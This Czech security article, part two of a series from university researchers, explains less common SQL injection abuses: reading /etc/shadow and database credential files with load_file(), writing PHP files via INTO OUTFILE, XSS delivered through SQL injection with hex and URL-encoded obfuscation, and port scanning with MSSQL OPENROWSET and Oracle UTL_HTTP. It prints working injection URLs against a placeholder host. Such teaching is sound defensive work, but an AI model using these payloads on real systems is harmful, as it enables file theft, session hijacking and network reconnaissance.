Kompromitace dat pomocí SQL Injection

část II

Jaké netradiční či málo známé možnosti mají útočníci na webové stránky k dispozici? Jak mohou napadat různé databázové systémy? Jaké dopady to může mít na provozovatele stránek?

V minulém díle tohoto krátkého seriálu bylo popsáno klasické zneužití zranitelnosti SQL Injection, a to pro krádež či modifikaci databázových dat. Po odhalení zranitelnosti SQL Injection v aplikaci však nemusí cíle útočníka zůstat pouze u dat v databázi. Útočník se pomocí SQL Injection může pokusit číst soubory z lokálního disku a také na disk zapisovat, může provést útok prostřednictvím XSS (Cross Site Scripting) i skenovat porty v interní síti. Právě těmito méně standardními možnostmi zneužití a jejich dopadem na bezpečnost systémů se zabývá tento článek.

Operace nad souborovým systémem

Postupy, jak číst a zapisovat data na lokální disk, se opět liší v závislosti na použitém databázovém systému. V této kapitole bude popsán postup pro DBMS MySQL v kombinaci s PHP běžící na linuxovém serveru.

Čtení dat z disku

V kapitole pojednávající o použití konstrukce UNION byly zmíněny vestavěné funkce MySQL user() a version(). MySQL podporuje množství vestavěných funkcí, z nichž jedna slouží pro čtení dat z disku. Jedná se o funkci load_file().

[1] Secure Shell

Přístup k této funkci mají databázoví uživatelé s privilegiem FILE.

Pomocí této funkce je možné přečíst libovolný soubor na disku, ke kterému má přístup uživatel operačního systému, pod nímž je databázový systém MySQL spuštěn. Pokud je DBMS spuštěn pod uživatelem root (unixové systémy) či administrator (MS Windows), je možné prostřednictvím funkce load_file() přistupovat k libovolným souborům:

```
http://example.com/?id=-1
UNION SELECT ALL 1,load_
file('/etc/shadow ')
```

Výstupem výše uvedeného vložení kódu bude výpis souboru /etc/shadow obsahujícího hashe systémových uživatelů. Útočník může následně provést útok hrubou silou vůči hashům a v případě použití slabých hesel kompromitovat některé ze systémových účtů.

Pokud však zrovna DBMS neběží pod privilegovaným uživatelem, může útočník přistupovat k souboru /etc/passwd, ze kterého lze zjistit seznam jmen uživatelů. Vůči těmto účtům pak lze např. podniknout slovníkový útok přes službu SSH[1].

Kromě systémových souborů může být cílem útočníka např. lokální soubor obsahující přihlašovací údaje k databázi. Parametrem funkce load_file() však musí být absolutní cesta k souboru. Proto je nutnou prerekvizitou znalost umístění souborů webového informačního systému v rámci adresářové struktury souborového systému serveru.

Tuto informaci může útočník zjistit např. vygenerováním aplikačních chybových hlášení. Další překážkou pro útočníka je nutnost znalosti přesného umístění a názvu souboru s databázovými údaji. Pokud webová aplikace využívá otevřený framework, může útočník tento název a umístění zjistit z dostupné dokumentace či analýzou zdrojových kódů. V opačném případě může zkusit název souboru uhádnout. Jakmile útočník zná cestu k tomuto souboru, lze ho pomocí funkce load_file() přečíst:

```
http://example.com/?id=-1
UNION SELECT NULL,load_
file('/var/www/app/db/co-
nnection.php ')
```

Zápis dat na disk

Cílem útočníka může dále být zápis dat na lokální disk. Motivace útočníka pro zápis dat na disk je různá. Jeden z případů je popsán v kapitole pojednávající o kompletní kompromitaci databázového serveru prostřednictvím MySQL User Define Functions.[2]

Pro zápis prostřednictvím prostředků jazyka SQL je možné využít klauzuli INTO OUTFILE. Pro zápis platí stejně jako v případě čtení, že je zde útočník omezen právy systémového uživatele, pod kterým je databázový systém spuštěn.

Pro jednoduchost předpokládejme, že útočník chce zjistit výstup funkce jazyka PHP phpinfo(), která mu může poskytnout užitečné informace o konfiguraci prostředí webové aplikace. Toho dosáhne vytvořením souboru s následujícím obsahem v adresáři aplikace:

```
<? phpinfo() ?>
```

A to prostřednictvím následujícího řetězce:

```
http://example.com/?id=-1
UNION SELECT NULL, '<? ph-
pinfo()?>' INTO OUTFILE '/
var/www/app/info.php'
```

Výsledný soubor zobrazí konfigurační nastavení prostředí jazyka PHP:

```
http://example.com/info.php
```

XSS pomocí SQL Injection

V úvodu bylo zmíněno, že SQL Injection pravidelně obsazuje první místo v žebříčku OWASP Top Ten zranitelností webových aplikací. V těsném závěsu pak vždy vystupuje zranitelnost Cross Site Scripting, známá též pod zkratkou XSS[2].

Reflected XSS

Zranitelnost XSS spočívá v možnosti vložení vlastního kódu (zpravidla HTML a JavaScriptu) do webové stránky. Typickým příkladem je webový formulář s jediným vstupem, který po odeslání zobrazí vstup na stránce. V případě vložení následujícího vstupu však dojde k jeho interpretaci, a tudíž je prostřednictvím jazyka JavaScript zobrazeno okno s popisem XSS:

```
<script>alert('XSS')</script>
```

Toto okno uvidí pouze uživatel, který daný vstup do formuláře zadá. Pokud by útočník chtěl, aby se tento malý skript vykonal u jiného uživatele, pošle mu následující URL, která bude zadání vstupu simulovat:

```
http://example.com/?vstup=
<script>alert ('XSS')
</script>
```

Ve výsledku příjemce odkazu po kliknutí uvidí okno s popiskem, které vytvořil útočníkův skript. Tento typ XSS se nazývá Reflected XSS nebo neperzistentní XSS, neboť webová stránka není modifikována permanentně. Útočníkův skript je pak šířen většinou pomocí odkazu, jak bylo uvedeno výše.

Stored XSS

Druhou variantou je tzv. Stored XSS nebo též perzistentní XSS. V tomto případě je již útočníkův skript uložen do databáze a změna na stránce je perzistentní – projeví se u všech návštěvníků dané stránky, aniž by útočník musel obětem rozesílat upravené URL odkazy.

Klasickým případem může být jednoduché webové fórum, kam uživatelé vkládají své příspěvky. Pokud je vstup uživatele vypsán na stránku bez ošetření (speciální řídicí znaky nejsou zkonvertovány na odpovídající HTML entity), stává se aplikace náchylnou na perzistentní XSS.

Zneužití

Přestože v předchozích ukázkách vložený skript pouze otevřel alert okno, může útočník využít při XSS plnou sílu jazyka JavaScript. Klasickým využitím útoku XSS je např. krádež uživatelovy cookie s identifikátorem autentizované uživatelské relace. Útočník do stránky vloží skript, který obsah této cookie každého návštěvníka pošle na jeho server. Se znalostí identifikátoru uživatelské relace pak může útočník oběť v rámci aplikace impersonovat.

Únos autentizované relace však není jediným způsobem zneužití této zranitelnosti. Útočník může pomocí perzistentního XSS modifikovat stránku a vložit do ní libovolné informace. Tímto způsobem např. vytvoří poplašnou zprávu. Pokud by se zranitelnost nacházela na nějakém významném zpravodajském portálu, mohla by dezinformace vést až k poklesu akcií uvedené firmy. Útočník může také cíleně vložit informaci s cílem poškození reputace společnosti provozující informační systém.

Jak již bylo uvedeno, prostřednictvím zranitelnosti XSS může útočník využít plné síly jazyka JavaScript, který mu dává dostatečné prostředky pro ovládnutí prohlížeče oběti. Pro tento typ útoku existují specializované frameworky, které umožňují prohlížeč oběti použít jako proxy pro útoky na další cíle. Nejznámějším takovým frameworkem je projekt BeEF (The Browser Exploitation Framework)[3].

Od SQLi k XSS

XSS je možné vyvolat i prostřednictvím zranitelnosti SQL Injection [1]. Na první pohled není zřejmá motivace útočníka. Proč by vkládal jakékoli skripty do stránky, když má kompletní kontrolu nad databází a daty v ní? Může však nastat situace, kdy je cílem útočníka získání přístupu do informačního systému. Útočník může prostřednictvím SQL Injection libovolně přistupovat k datům z databáze i je modifikovat. Dostane se tak k tabulce se záznamy uživatelů spolu se silnými solenými hash hodnotami jejich hesel. Útočník však nemá dostatečný výpočetní výkon pro útok hrubou silou vůči

[2] XSS z důvodu, aby se název nepletl s kaskádovými styly CSS
[3] http://www.bindshell.net/tools/beef.html

hashům ani nezná konkrétní uplatnění principu solení hashů[4]. V takovém případě pro něj může být řešením využití XSS s cílem krádeže autentizované cookie.

V kapitole pojednávající o klasickém využití SQL Injection, tedy pro přístup k databázovým datům, byl uveden příklad s využitím konstrukce UNION:

```
http://example.com/?id=-1
UNION SELECT 1, NULL
```

Předpokládejme, že parametr id je náchylný na SQL Injection, takže uživatelský vstup bez ošetření vstupuje přímo do databázového interpretru. Modifikovaný databázový dotaz by tak mohl vypadat následovně:

```
SELECT header,body FROM
articles WHERE id=-1 UNION
SELECT 1, NULL
```

Id s hodnotou -1 neexistuje, tudíž první část dotazu nevrátí žádný výsledek a druhá část vrátí výsledek „1“. Dále může být odkaz upraven následovně:

```
http://example.com/?id=-1
UNION SELECT 'abc', NULL
```

Výstupem pak bude řetězec „abc“. Tím bylo dosaženo možnosti vkládat vlastní vstupy do výsledné webové stránky. Útočníkovi už nic nebrání využít tento princip pro vložení JavaScript skriptu do stránky:

```
http://example.com/?id=-1
UNION SELECT '<script>a-
lert(123)</script>', NULL
```

Kliknutí na tento odkaz způsobí vykonání vloženého skriptu, čímž je docíleno útoku XSS prostřednictvím zranitelnosti SQL Injection.

V závislosti na použitém databázovém systému může útočník odkaz navíc zamaskovat (tzv. obfuskovat) tak, aby nebudil pozornost nestandardními znaky obsaženými v URL. V případě MySQL je možné řetězce zapisovat ve formě konkatenovaných hexa číslic s prefixem 0x. Výše uvedený odkaz lze přepsat do následujícího tvaru:

```
http://example.com/?id=-1
UNION SELECT 0x3C7363726970
743E616C65727428313233293C-
2F7363726970743E
```

Obdobné techniky existují i pro další databázové systémy. Další úrovní obfuskace může být převedení části URL na odpovídající URL kódované znaky:

```
http://example.com/?id=-
%31%2b%55%4e%49%4f%4e%2b
%53%45%4%45%43%54%2%30%78
%33%43%37%33%36%33%37%32
%36%39%37%30%37%34%33%45
%36%31%36%43%36%35%37%32
%37%34%32%38%33%31%33%32
%33%33%32%39%33%43%32%46
%37%33%36%33%37%32%36%39
%37%30%37%34%33%45
```

Ani zkušený uživatel při pohledu na URL neodhadne, co se stane kliknutím na odkaz. Tímto způsobem je možné efektivně provádět XSS útoky prostřednictvím zranitelnosti SQL Injection, a tak ještě více rozšířit sílu, jakou útočníkovi nalezení této zranitelnosti v aplikaci dává.

Port Scanning pomocí SQL Injection

V této kapitole bude uvedeno poměrně netradiční zneužití zranitelnosti SQL Injection. Skrze SQL Injection ve webovém informačním systému dostupném z Internetu může útočník databázový server využít jako skener portů, čímž získá představu o vnitřní síti či DMZ segmentu (záleží na tom, kde je databázový server umístěn) dané společnosti.

Ne všechny databázové systémy však mohou být zneužity tímto způsobem. V této kapitole budou popsány příklady zneužití zranitelnosti SQL Injection pro skenování portů pomocí databázových systémů MSSQL a Oracle.

MSSQL

V případě databázového systému lze pro účely skenování portů využít funkci OPENROWSET() [2]. Tato funkce slouží pro vykonání databázového dotazu na vzdáleném serveru. Parametry této funkce jsou přihlašovací údaje, identifikace serveru a služby (IP adresa a port) a vlastní SQL dotaz. Po spuštění se funkce pokusí připojit na zadanou IP adresu a port. Pokud port není dostupný (zavřený nebo filtrovaný), vrátí se chybové hlášení:

```
SQL Server does not exist
or access denied
```

Je-li port otevřený, vrátí se jedno z následujících hlášení:

```
General network error. Check
your network documentation
```

```
OLE DB provider 'sqloledb'
reported an error. The pro-
vider did not give any in-
formation about the error.
```

Spuštění funkce se všemi parametry může vypadat následovně:

```
select * from OPENROWSET
('SQLoledb', 'uid=sa;pwd=;
Network=DBMSSOCN;Address=
192.168.200.3,80;timeout=5',
'select * from table')
```

Samotné zneužití funkce pomocí SQL Injection pak může být realizováno prostřednictvím zřetězených dotazů následovně:

```
http://example.com/?id=3;
select * from OPENROWSET
('SQLoledb', 'uid=sa;pwd=;
Network=DBMSSOCN;Address=
192.168.200.3,80;timeout=5',
'select * from table')
```

[4] Např. konkatenace se statickým řetězcem, který je však útočníkovi neznámý.

Dotaz ověří, zde je port 80 na adrese 192.168.200.3 otevřený. Postup lze pomocí skriptů automatizovat tak, aby byl proveden plošný sken zadaného síťového rozsahu [5].

Pokud by se jednalo o Blind SQL Injection a dotaz by nevracel žádná chybová hlášení, je stále možné rozpoznat otevřený a nedostupný port. Jedním z parametrů funkce OPENROWSET() je timeout, který udává, jak dlouho se má DBMS snažit k danému portu připojit. V příkladu uvedeném výše je tento timeout nastavený na pět vteřin. Pokud je port otevřený, stránka se vrátí téměř okamžitě (záleží na rychlosti připojení). V opačném případě je stránka vrácena až po uplynutí doby nastavené prostřednictvím parametru timeout, tedy pěti vteřin.

Funkce OPENROWSET() je však tímto způsobem zneužitelná pouze v MSSQL 2000, od verze MSSQL 2005 byla funkce deaktivována [2].

Oracle

Stejně jako MSSQL i databázový systém Oracle obsahuje prostředky, které dovolují provádět spojení na vzdálené počítače a porty. V případě Oracle je k tomuto účelu možné využít síťový balíček UTL_HTTP a jeho metodu request() [3]. Vyvolání metody pro vygenerování HTTP požadavku na IP adresu 192.168.200.3 a port 80 je realizováno následujícím způsobem:

```
utl_http.request(192.168.200.3:80)
```

Pokud je cílový port nedostupný (zavřený nebo filtrovaný), vrátí se chybové hlášení:

```
ORA-29273: HTTP request
failed ORA-06512: at "SYS.
UTL_HTTP", line 1577 ORA-
12570: TNS:packet reader
failure ORA-06512: at line 1
```

Je-li port otevřený, vrátí se hlášení:

```
ORA-29273: HTTP request
failed ORA-06512: at "SYS.
UTL_HTTP", line 1577 ORA-
29263: HTTP protocol error
ORA-06512: at line 1.
```

Zneužití balíčku UTL_HTTP prostřednictvím SQL Injection pak může útočník docílit následujícím způsobem:

```
http://example.com/?id
=3||utl_http.request
(192.168.200.3:80)
```

V příkladu je využit operátor konkatenace ||, prostřednictvím kterého je výsledek operace připojen k výsledku původního SQL dotazu.

Pro automatizaci skenování portů je možné využít hotové skripty [5]. Síťový balíček UTL_HTTP je dostupný ve verzi Oracle 10 g. Ve verzi Oracle 11 g a vyšší byla dostupnost tohoto balíčku běžným databázovým uživatelem omezena.

Závěr

V tomto článku byly uvedeny některé méně tradiční způsoby zneužití zranitelnosti SQL Injection. I v případě, kdy útočník nemůže přímo získat přístup k účtům, zneužitím XSS pomocí SQL Injection útoku lze v konečném důsledku získat relaci přihlášeného uživatele a přístup k jeho účtu. Ačkoli se SQL Injection považuje za známou chybu, i v dnešní době se stále objevuje na prvních příčkách nejnebezpečnějších útoků, pomocí nichž lze kompromitovat nejen databázi, ale i operační systém.

V příštím finálním dílu bude popsáno, jak útočník může prostřednictvím této zranitelnosti zcela kompromitovat server na úrovni privilegovaného účtu a jak zranitelnosti SQL Injection předcházet.

Lukáš Antal
iantal@fit.vutbr.cz

Maroš Barabas
ibarabas@fit.vutbr.cz

Petr Hanáček
hanacek@fit.vutbr.cz

Ing. Lukáš Antal

Studuje Fakultu informačních technologií v Brně, kde působí jako student Ph.D. se zaměřením na bezpečnost bezdrátových sítí.

Ing. Maroš Barabas

Vystudoval Fakultu informačních technologií v Brně a v současné době působí na této fakultě jako výzkumný pracovník a student Ph.D. studia.

doc. Dr. Ing. Petr Hanáček

Absolvent VUT v Brně, v současné době působí jako docent na FIT VUT v Brně. Zabývá se bezpečností informačních systémů, aplikovanou kryptografií a bezdrátovými systémy.

POUŽITÉ ZDROJE

[1] Barnett, R.: *Blended Attacks: Reflected XSS Attack via SQL Injection*, Tactical Web Application Security, 2009, [cit. 1. 5. 2013], URL http://tacticalwebappsec.blogspot.cz/2009/04/blended-attacks-reflected-xss-attack.html
[2] Cerrudo, C.: *Manipulating Microsoft SQL Server Using SQL Injection*, AppSecInc publication, 2008, [cit. 4 .5. 2013], URL http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf
[3] Gonçalves, I.: *SQL Injection - Oracle as a port scanner*, SharingSec, 2012, [cit. 9. 5. 2013], URL http://sharingsec.blogspot.cz/2012/12/sql-injection-oracle-as-port-scanner.html
[4] Percoco, N. a kol.: *2013 Global Security Report* [online]. Dostupné z: http://www2.trustwave.com/rs/trustwave/images/2013-Global-Security-Report.pdf
[5] O'Connor, T: *Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers*, Syngress, 2012, ISBN 978-1597499576